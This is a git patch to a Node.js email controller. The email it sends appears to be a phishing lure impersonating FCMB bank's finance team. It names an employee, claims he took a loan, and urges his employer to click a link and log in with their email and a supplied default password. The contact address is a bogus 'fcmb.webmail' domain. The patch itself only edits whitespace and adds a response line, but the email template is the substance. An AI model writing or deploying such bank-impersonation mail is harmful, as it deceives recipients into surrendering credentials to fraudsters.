From 3d98bc55791337f2126ee1bf59623100f45be8ee Mon Sep 17 00:00:00 2001 From: "CHIEFSOFT\\ameye" Date: Thu, 13 Jun 2024 16:52:42 -0400 Subject: [PATCH] 6036 --- controller/verifyEmployer.js | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/controller/verifyEmployer.js b/controller/verifyEmployer.js index f7e5295..6cc1e7d 100644 --- a/controller/verifyEmployer.js +++ b/controller/verifyEmployer.js @@ -15,12 +15,11 @@ export const verifyEmployer = async (req, res)=>{ "This serves as an employer’s commitment to notify you that your staff (Olanrewaju Badmus) who holds the position of software engineer in your organization took a loan facility from our bank and has prompted us to notify you so as to confirm his existence as a staff of your organization." + " Please click on the link below to confirm this before we can approve his loan\n " + "

\n" + - "***Employer commitment link (You are to login with this email address and default password 2345090)\n " + + "***Employer commitment link (You are to login with this email address and default password 2345090)\n " + "

\n" + "If you have any questions or concerns with respect to this email, please contact our finance department at finance@fcmb.webmail.\n \n Kind Regards,

\n" + "Finance team,
FCMB
\n"; - try { console.log("verifyEmployer REQ-----------------------------------------"); console.log(req.body); @@ -60,6 +59,8 @@ export const verifyEmployer = async (req, res)=>{ } main().catch(console.error); + return res.json({res : 'sent'}); + } catch(error){ res.status(500).json({error: "Internal Server error"});